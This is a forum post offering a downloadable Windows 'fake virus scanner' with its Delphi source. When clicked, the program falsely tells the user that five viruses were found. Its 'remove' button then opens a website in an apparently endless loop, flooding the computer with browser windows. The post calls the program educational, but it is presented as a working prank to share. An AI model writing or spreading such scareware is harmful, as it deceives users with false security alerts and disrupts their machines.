ExoSoft Internet spam thing software thingy.

This is something older... It's a fake virus scanner that keeps open a certain website all the time ( loop ) It was meant for educational purpose and I would like to keep it that way.

You can download the file !HERE! .

Requirements:
Windows Operating System
atleast 500 KB Harddisk space and 4,5 MB RAM.
So it must be able to run on a 12 year old computer.

Files:
The program of course (.exe) 389 KB
The ExoSoft Logo (.png) 11 KB
And of course the project file and the pascal file and the compilation file. 35,5 KB (.pas , .dpr , .dcu , .ddp , .dfm , VisualStudio.res.9.0)

Here's the MainForms code

Code:

// Programmed by Hein D.
// Copyright ExoSoft 2008
// Project started on Wednesday, May 21 2008

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Shellapi, ExtCtrls, ComCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Label1: TLabel;
    Button2: TButton;
    Label2: TLabel;
    Button3: TButton;
    Label3: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses AboutBox;

{$R *.dfm}


procedure TForm1.Button1Click(Sender: TObject);
begin
 button2.show;
 label2.caption := '5 virus(s) found, click button below to remove the virus from your computer.'
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
repeat
ShellExecute(Handle, 'open', 'http://exosoft.omgforum.net/index.htm',nil,nil, SW_SHOWNORMAL) ;
until button2.Cancel;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
 About.show;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
 Label3.left := X - Label3.Width;
 Label3.Top := Y - Label3.Height;
end;

end.

I hope it is understandable, the nice thing about this program is that Label3 follows the cursor if you have your cursor hovering on the form.

Hein D.